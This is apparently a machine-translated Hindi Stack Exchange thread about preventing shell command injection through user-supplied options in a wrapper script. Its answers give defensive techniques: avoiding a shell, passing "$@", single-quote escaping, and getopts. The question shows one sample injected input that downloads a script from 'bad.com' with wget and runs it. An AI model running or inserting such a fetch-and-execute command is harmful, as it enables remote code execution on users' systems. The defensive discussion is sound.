कमांड विकल्पों के माध्यम से कमांड इंजेक्शन को कैसे रोकें?


13

मेरे पास एक आवरण एप्लिकेशन है जहां मुझे उपयोगकर्ता को सिम्युलेटर में पास करने के लिए कस्टम विकल्प निर्दिष्ट करने की आवश्यकता है। हालांकि, मैं यह सुनिश्चित करना चाहता हूं कि उपयोगकर्ता उपयोगकर्ता विकल्पों के माध्यम से अन्य कमांड को इंजेक्ट न करे। इसे पूरा करने का सबसे अच्छा तरीका क्या है?

उदाहरण के लिए।

  • उपयोगकर्ता प्रदान करता है: -a -b
  • आवेदन निष्पादित: mysim --preset_opt -a -b

हालाँकि, मैं ऐसा नहीं करना चाहता:

  • उपयोगकर्ता प्रदान करता है: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • आवेदन निष्पादित: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

वर्तमान में, मैं सोच रहा हूं कि मैं केवल प्रत्येक उपयोगकर्ता को सिंगल कोट्स के साथ दिए गए विकल्प को घेर सकता हूं 'और किसी भी उपयोगकर्ता द्वारा प्रदान किए गए सिंगल कोट्स को अलग कर सकता हूं , ताकि अंतिम उदाहरण में कमांड एक हानिरहित हो जाए:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

नोट: mysimकमांड डॉक / lxc कंटेनर में शेल स्क्रिप्ट के भाग के रूप में निष्पादित होती है। मैं उबंटू चला रहा हूं।


क्या आप evalएप्लिकेशन को चलाने के लिए उपयोग कर रहे हैं ? यदि नहीं, तो इंजेक्शन नहीं होना चाहिए:x="&& echo Doomed" ; echo $x
कोरोबा

1
नहीं, मैं उपयोग नहीं कर रहा हूं eval। मैं निष्पादन योग्य mysimको शेल स्क्रिप्ट के अंदर बुला रहा हूं । मैं देख रहा हूं कि इंजेक्शन तब होता है जब मैं केवल उन विकल्पों की स्ट्रिंग को कॉपी करता हूं जो उपयोगकर्ता प्रदान करता है और इसे mysimकमांड के अंत में पेस्ट करता है ।
विक्टर ह्युबोस्लावस्की

क्या रैपर एप्लिकेशन विकल्पों की स्ट्रिंग को कॉपी और पेस्ट करता है?
चेरोबा

हां, उपयोगकर्ता विकल्प एकल स्ट्रिंग के रूप में आते हैं, जैसे -a -b। इसलिए मैं यह सुनिश्चित करना चाह रहा हूं कि उस स्ट्रिंग में अतिरिक्त कमांड इंजेक्ट न हों।
विक्टर ह्युबोस्लावस्की

1
क्या आप वाइटेलिस्ट कर सकते हैं? केवल वर्णों [a-zA-Z0-9 _-]की अनुमति देना एक बहुत ही रक्षात्मक विकल्प की तरह दिखता है।
उलरिच श्वार्ज़

जवाबों:


6

यदि आपके पास रैपर प्रोग्राम पर नियंत्रण है, तो सुनिश्चित करें कि यह सब-इनक्लूज़ नहीं करता। गहरी, एक प्रोग्राम को निष्पादित करने के निर्देश में निष्पादन योग्य के लिए पूर्ण पथ (वर्तमान निर्देशिका के पूर्ण या सापेक्ष), और तर्कों के रूप में पारित होने के लिए तार की एक सूची शामिल है। पैथ लुकिंग, व्हाट्सएप को अलग करने वाले तर्क, उद्धरण और नियंत्रण ऑपरेटर सभी शेल द्वारा प्रदान किए जाते हैं। कोई खोल नहीं, कोई दर्द नहीं।

उदाहरण के लिए, एक पर्ल आवरण के साथ, सूची प्रपत्र का उपयोग करें execया system। कई भाषाओं में, एक execया execXXXफ़ंक्शंस (या unix.execइसे जो भी कहा जाता है) में से एक के बजाय system, या इसके os.spawnसाथ shell=Falseया जो भी लेता है उसे कॉल करें ।

यदि आवरण एक शेल स्क्रिप्ट है, "$@"तो तर्कों को पारित करने के लिए उपयोग करें, जैसे

#!/bin/sh
mysim -preset-opt "$@"

यदि आपके पास कोई विकल्प नहीं है और आवरण प्रोग्राम शेल खोलता है, तो आपको उन्हें शेल में पास करने से पहले तर्क को उद्धृत करना होगा। तर्कों को उद्धृत करने का आसान तरीका निम्नलिखित है:

  1. प्रत्येक तर्क में, 'चार-वर्ण स्ट्रिंग द्वारा (एकल उद्धरण) की प्रत्येक घटना को प्रतिस्थापित करें '\''। (जैसे don'tबन जाता है don'\''t)
  2. 'प्रत्येक तर्क की शुरुआत में जोड़ें और प्रत्येक तर्क के अंत में भी। (जैसे से don't, don'\''tबन जाता है 'don'\''t')
  3. बीच में एक स्थान के साथ परिणामों को समेटें।

यदि आपको शेल आवरण में ऐसा करने की आवश्यकता है, तो यहां एक तरीका है।

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(दुर्भाग्य से, बैश का ${VAR//PATTERN/REPLACEMENT}निर्माण, जो यहां काम करना चाहिए, क्वर्की उद्धरण की आवश्यकता है, और मुझे नहीं लगता कि आप '\''प्रतिस्थापन पाठ प्राप्त कर सकते हैं ।)


1

आप ${VAR//PATTERN/REPLACEMENT}किसी एक उद्धरण 'को '\''पहले '\''एक चर (एक मध्यवर्ती चरण के रूप में) में बदलकर और फिर इस चर को REPLACEMENTतत्व के रूप में उल्लिखित बाश मुहावरे में बदलने के लिए बैश के मुहावरे का उपयोग कर सकते हैं ।

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

आप उपयोग कर सकते हैं getoptsमें bashजो आप के लिए तर्क पार्स कर सकते हैं, जैसे:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.